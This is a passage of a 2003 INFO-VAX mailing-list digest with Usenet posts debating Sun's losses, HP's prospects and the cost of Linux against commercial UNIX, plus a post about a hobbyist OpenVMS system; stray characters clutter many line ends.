 Sincerely,  	 Jim Gould-   ------------------------------  % Date: Tue, 07 Oct 2003 11:36:06 +0100nO From: Andrew Harrison SUNUK Consultancy <Andrew_No.Harrison_No@nospamn.sun.com>$ Subject: Re: Sun takes a hit0 Message-ID: <blu4um$olc$1@new-usenet.uk.sun.com>   Rob Young wrote: > In article <bls4jv$4h2$1@new-usenet.uk.sun.com>, Andrew Harrison SUNUK Consultancy <Andrew_No.Harrison_No@nospamn.sun.com> writes: >  >>Rob Young wrote:  2 >>Now the division of the company that you need to3 >>stay operating because it produces the OS and kit 4 >>that your moon appears to revolve around is losing1 >>~ 1 billion a year off its bottom line, and youe1 >>are excited about Sun taking a 1 billion dolalrs >>accounting charge. >> >  > ? > 	But HP has plenty of other divisions to prop it up and makescG > 	money every quarter.  The excitiment isn't about a 1 time accountinge< > 	charge.  It is how everyone else is piling on as if Sun's> > 	troubles are something new or a surprise.  Sun hasn't grownA > 	revenues in 9 quarters, the most recent $1 billion charge justeF > 	reflects structural defects.  Because if it, a flurry of headlines: >   0 HP has plenty of other divisions to prop it up !  4 Actually HP has the Printing and Imaging division to6 prop it up and thats about it. BTW this isn't a change8 in the status quo HP has been propped up by Printing and Imaging for the last decade.  < What is different now is that the latest excuse "the merger": is now in the past and HP execs will be judged post merger6 on their ability to turn round the PC division and the8 Enterprise division (which is why Carly was hired in the
 first place).y  ; What is also different now is that analysts are now callinga; for HP to be broken up so that shareholders can stop having - their profits diluted by those failing units.   : I sometimes suspect that your pathetic attempts to FUD Sun: are simply a diversion on your part to hide how bad things are on your side of the fence.   Regards  Andrew Harrisonr   ------------------------------  % Date: Tue, 07 Oct 2003 11:47:17 +0100sO From: Andrew Harrison SUNUK Consultancy <Andrew_No.Harrison_No@nospamn.sun.com>n Subject: Re: Sun takes a hit0 Message-ID: <blu5jl$osa$1@new-usenet.uk.sun.com>   Greg Cagle wrote:l > Fred Kleinsorge wrote: > : >> "Paul Sture" <nospam@sture.homeip.net> wrote in message- >> news:3F7FF321.64F09CCE@sture.homeip.net...i >  > D >>> But this is something I don't get. Why is HP pushing Linux as anJ >>> alternative to Solaris rather than HP-UX, or even, heaven forbid, VMS? >>>oC >>> Why not give those away and go for the software maintenance andr >>> consulting revenue?l >>>I >>> ???????? >>>c6 >>> It all sounds like dot com boom economics to me... >>>eK >>> Come on Keith, we know you aren't daft. Please explain the economics ofl
 >>> this one.  >> >> >>L >> I don't know the specifics of this, but it would make sense to me to pushK >> Linux or HP-UX as an alternative to Solaris in general - as they are alllH >> more-or-less UNIX.  Trying to push VMS onto a Solaris user is likely  >> to be1 >> as popular as pushing Solaris onto a VMS user.m >  > D > It's actually very simple. You flush your $$$ Sun servers down the@ > toilet and replace them with (perceived) cheap Linux machines.D > HP-UX machines are not as cheap, and the migration from Solaris toA > Linux is less arduous than that from Solaris to HP-UX. Besides,-A > there's always storage and other stuff to think about; many Sun A > installations are set up with direct attached disks that can beu6 > replaced with SAN or NAS boxes as part of the shift. > E > Also, the migration path depends on the market segment. Some placesoG > Linux doesn't make sense. You can't today replace a UE10K with a rack H > of Proliants running Linux in any sensible way, for example. And LinuxJ > doesn't yet scale onto big MP machines. The sweet spot are the thousandsG > of old 4-8 way Solaris machines that can be outperformed by a two-wayf > Proliant running a "free" OS.l >   ? Of course you then find that none of your commercial ISV's willt support "free" Linux.n  > That you cannot self support the paid for Linux because if you8 do you violate the terms of your commercial ISV support.  ? And that you naturally progress from Free to the most expensive ? paid for Linux, Red Hat AS because its the most likely platformP to be supported by you ISV's.   A Exentually you realise that Free Linux is in fact Expensive LinuxoA unless you think that paying 7500K over 3 years for SW support onh# a box that costs 6K is a good deal.t  A Then IBM GS or HP services who helped you migrate to Linux in then> first place (to save you money) ha ha turn up with an offer to8 help you consolidate all those little Linux boxes onto a? pSeries/zSeries/SuperDome (something with a commercial strength-@ OS with resource management etc etc) to save you money ha ha ha.   Regards- Andrew Harrisonz   ------------------------------   Date: 7 Oct 2003 08:01:22 -0500B; From: koehler@eisner.nospam.encompasserve.org (Bob Koehler)e Subject: Re: Sun takes a hit3 Message-ID: <2jQ4Mo9G3J5s@eisner.encompasserve.org>h  q In article <5qpgb.244170$Lnr1.224370@news01.bloor.is.net.cable.rogers.com>, "John Smith" <a@nonymous.com> writes:i  + > So what's stopping HP from digesting Sun?   E    Why would HP want to buy a company that only has one product?  SunoF    prides itself on, and attracted a lot of customers because of, onlyI    doing UNIX.  HP has a strong UNIX, they don't need another.  Features pA    HP said they wanted to add to their UNIX, they got with Tru64.n  F    Sun grew up with, and will die with, the UNIX market.  For the lastG    decade and a half that's been a good market to be in.  Sun's biggest H    problem is that someday Solaris will be as usefull as a typewriter isK    today.  Typewriters hung around for several decades, but those companiesx3    who had them as their sole product are gone now.2   ------------------------------   Date: 7 Oct 2003 08:48:43 -0500n- From: Kilgallen@SpamCop.net (Larry Kilgallen)  Subject: Re: Sun takes a hit3 Message-ID: <K1l6$pkHEIfj@eisner.encompasserve.org>i  q In article <2jQ4Mo9G3J5s@eisner.encompasserve.org>, koehler@eisner.nospam.encompasserve.org (Bob Koehler) writes:l  H >    Sun grew up with, and will die with, the UNIX market.  For the lastI >    decade and a half that's been a good market to be in.  Sun's biggestfJ >    problem is that someday Solaris will be as usefull as a typewriter isM >    today.  Typewriters hung around for several decades, but those companies 5 >    who had them as their sole product are gone now.B  E And that makes things hard for those of us who depend on typewriters.    ------------------------------   Date: 7 Oct 2003 09:03:06 -0700i+ From: shoppa@trailing-edge.com (Tim Shoppa)h Subject: Re: Sun takes a hit= Message-ID: <bec993c8.0310070803.4e75038c@posting.google.com>w   Andrew Harrison SUNUK Consultancy <Andrew_No.Harrison_No@nospamn.sun.com> wrote in message news:<blu5jl$osa$1@new-usenet.uk.sun.com>...-C > Exentually you realise that Free Linux is in fact Expensive LinuxlB > unless you think that paying 7.5K over 3 years for SW support on% > a box that costs 6K is a good deal.b  I 7.5K and 6K are both in the noise... unless you're talking about hundreds J or thousands or tens of thousands of boxes.  If you've got that many boxesJ then you *do* go with the open-source alternative and self-support becauseF you have all the sources and you built from them.  (Or at least that's what I hope happens!)e   Tim.   ------------------------------  # Date: Tue, 07 Oct 2003 16:05:35 GMTo# From: "John Smith" <a@nonymous.com>o Subject: Re: Sun takes a hitK Message-ID: <jvBgb.249704$Lnr1.121845@news01.bloor.is.net.cable.rogers.com>n   Bob Koehler wrote: > In articleB > <5qpgb.244170$Lnr1.224370@news01.bloor.is.net.cable.rogers.com>,' > "John Smith" <a@nonymous.com> writes:c >s, >> So what's stopping HP from digesting Sun? >eG >    Why would HP want to buy a company that only has one product?  SunnH >    prides itself on, and attracted a lot of customers because of, only@ >    doing UNIX.  HP has a strong UNIX, they don't need another.E >    Features HP said they wanted to add to their UNIX, they got with  > Tru64. >sH >    Sun grew up with, and will die with, the UNIX market.  For the lastA >    decade and a half that's been a good market to be in.  Sun's D >    biggest problem is that someday Solaris will be as usefull as aG >    typewriter is today.  Typewriters hung around for several decades, D >    but those companies who had them as their sole product are gone > now.    H Which division of Compaq did HP really want? None really, except perhapsK Services/Consulting - which they had desperately trying to strike a deal ontC with any credible partner for several years before the Compaq deal.a  L In the end what HP really wanted to do was take a competitor off the market.I Compaq was stupid/desperate enough to be on the market and available withtL management's complicity. On the other hand, Sun would currently be a hostileJ takeover candidate - but who cares if you are going to sunset Solaris as aH possible organ donor too. McNeally will foam at the mouth with righteousK indignation but not holding much stock personally he, and the rest of Sun's:K management will be at the mercy of the professional money managers who willcG see a declining business and a sliding stock price - the pro's wouldn'tpF think twice about declining a hostile suitor offering a 15% premium toK market - they'd say "Can we accelerate the closing on this deal rather thane& waiting 3 months for the ink to dry.".    G Given the state of the computing market at the time the Compaq deal wasyC thought about, consumated, and still remains, HP would have, in allcH likelihood, been  as profitable or unprofitable today (depending on your; perspective) as it would have been without the Compaq deal.   H All that's really changed is that HP sells more without really being anyG more profitable - yet. HP has been able to strongarm (not the chip) itsuK suppliers for more favorable pricing, which will eventualy payoff in spadesi! when unit sales volumes increase.r  E And on the finance side, since they 'paid' for Compaq with paper (ie.uG stock), the amount of debt they assumed with its concommitant servicingm@ requirement was negligible - as would a similar purchase of Sun.  : So when the dust settles you'll have a 3-way boxing match:  " 1. Dell/Intel with Linux & Windows  F 2. IBM (Intel) and their own chips with Linux & Windows & Unix & other proprietary o/s   I 3. HP/Intel with Linux & Windows & Unix and other proprietary o/s (for asp long as they last)   and a 4th dark horse.....o  G China Inc. w/ Linux & Windows & their forthcoming national standard o/soD which will eventually eclipse all others in installed base (so start> learning Chinese now if you want to have a job in the future),  ? and finally the myriad of brand-name Unisys et. al. and no-namee& 'white-boxes' running Linux & Windows.  J All this is more than enough to keep the FTC happy in believing that there is diversity in the market.o   ------------------------------  # Date: Tue, 07 Oct 2003 16:44:02 GMTh9 From: "Fred Kleinsorge" <my-last-name@stardotzko.dec.com>  Subject: Re: Sun takes a hit2 Message-ID: <m3Cgb.6505$nv1.3579@news.cpqcorp.net>  K High flying company caught in a down market.  Staffed up for the growth and3J boom it was riding.  Strong balance sheet, billions in cash on hand.  Long and storied history.  K Tied to an CPU architecture that couldn't keep up, and a OS that is growingmF long in the tooth.  Headed by the visionary founder of the company whoH doesn't have a large controlling interest in the stock.  Having lost theI visionary technical talent that drove the companies early success.  OwnedsE mostly by institutional investors.  Being pressured to lay of a largeiI percentage of the workforce to bring the company back into profitability."I Stock teetering just above book value after falling a long, long way, and  never having paid a dividend.d   Did I just describe DEC or Sun?   9 I feel for Sun.  Been there, done that.  No easy answers.t  I With the cash on hand, they can burn through $100m/yr losses for the nexteI decade without laying off a soul.  Catch the next buying wave, create thedJ next Big Thing, or tank because whatever strategy they use may be flawed -G maybe Sparc continues to fall behind, or they switch to AMD64 and theirnL current Sparc base deserts them, or they can't find a profitable way to sell9 Linux instead of Solaris.  Who knows (it doesn't matter).e  L The owners of the stock aren't likely to give them that leeway.  They want aL ROI on their invesment.  They want it now.  They don't really care about howI it's done.  Stock is just a financial instrument.  At some point, the BODoG will come under a lot of pressure to fix the profitability problem, andsK revive the stock price.  Scott will go along, or take Kens way out (the BODl will effectively fire him).e  L The 5 billion in cash is an attractive nuisance.  If the market cap dips tooG low, there is always the temptation for someone to use it to leverage ai	 takeover.h   ------------------------------  % Date: Tue, 07 Oct 2003 17:59:10 +0100sO From: Andrew Harrison SUNUK Consultancy <Andrew_No.Harrison_No@nospamn.sun.com>t Subject: Re: Sun takes a hit0 Message-ID: <blurcu$403$1@new-usenet.uk.sun.com>   Tim Shoppa wrote:o > Andrew Harrison SUNUK Consultancy <Andrew_No.Harrison_No@nospamn.sun.com> wrote in message news:<blu5jl$osa$1@new-usenet.uk.sun.com>...o > C >>Exentually you realise that Free Linux is in fact Expensive Linux B >>unless you think that paying 7.5K over 3 years for SW support on% >>a box that costs 6K is a good deal.n >  > K > 7.5K and 6K are both in the noise... unless you're talking about hundredsuL > or thousands or tens of thousands of boxes.  If you've got that many boxesL > then you *do* go with the open-source alternative and self-support becauseH > you have all the sources and you built from them.  (Or at least that's > what I hope happens!)u >   2 Hang on what value does Linux bring to an IT shop.  2 Not technology, HP-UX, AIX, Solaris, Tru64 are all) more technically capable OS's than Linux.   3 Availability of applications, no all the OpenSources3 stuff will run on AIX, Tru64 etc and the commerciala3 SW portfolio for the commercial UNIX's dwarfs Linux  still.   So what is it ??  6 The only thing is cost or rather apparent cost savings6 and if they turn out to be apparent rather than actual then you have nothing.   regardso Andrew Harrison- > Tim.   ------------------------------  % Date: Tue, 07 Oct 2003 10:07:09 -0700r/ From: Greg Cagle <news@removethisgregcagle.com>w Subject: Re: Sun takes a hit/ Message-ID: <vo5sm0a0a7tqf0@corp.supernews.com>n  ( Andrew Harrison SUNUK Consultancy wrote:  4 > Hang on what value does Linux bring to an IT shop. > 4 > Not technology, HP-UX, AIX, Solaris, Tru64 are all+ > more technically capable OS's than Linux.i > 5 > Availability of applications, no all the OpenSourced5 > stuff will run on AIX, Tru64 etc and the commercial 5 > SW portfolio for the commercial UNIX's dwarfs Linuxs > still. >  > So what is it ?? > 8 > The only thing is cost or rather apparent cost savings8 > and if they turn out to be apparent rather than actual > then you have nothing.  = Agreed - the value proposition of Linux is not all it is madei; out to be. But the phrase "cheap Intel hardware" is awfullyv# attractive to a lot of IT managers.    -- f
 Greg Cagle gregc at gregcagle dot com   ------------------------------  $ Date: Tue, 7 Oct 2003 01:46:40 -07006 From: "Doc.Cypher" <Use-Author-Address-Header@[127.1]>" Subject: Re: VMS system on the web6 Message-ID: <200310070846.h978kef2003897@www.aarg.net>  J On Mon, 06 Oct 2003, Tim Llewellyn <tim.llewellyn@blueyonder.co.uk> wrote: >Paul Sture wrote: >> a >> Doc.Cypher wrote: >> > >> > all we're missing is CMSD >> oI >> I shall see if I can dig a kit up for you. I assume youe want both VAX-4 >> and Alpha, so that might take a little more time. >> d6 >> Not sure I can go back to a pre 7.3 version though. >'O >I can if you can't. In fact I have condist media going back to V5 and V6 days.c >t6 >I'm sure the CMS kit it won't take too long over DSL.   No, it shouldn't.o  M If you want to telnet into the system and use NEWUSER to set yourself up with L an account then email me (user DC) I'll set aside some space for the kit and let you know where to put it.   N We've just been offered a VAXServer 3100/10e to add to the cluster, this makesI getting shared storage more of a priority.  I've still to dig through theSJ various manuals and establish what we'd need for that and the likely cost.  L Then we need to change the nightly backup to go to a device other than NLA0: :-)      Doc. -- IK OpenVMS.         Eight out of ten hackers prefer *other* operating systems.lK [PGP Key via finger]     http://openvms-rocks.com     http://vmsbox.cjb.netn   ------------------------------   End of INFO-VAX 2003.556 ************************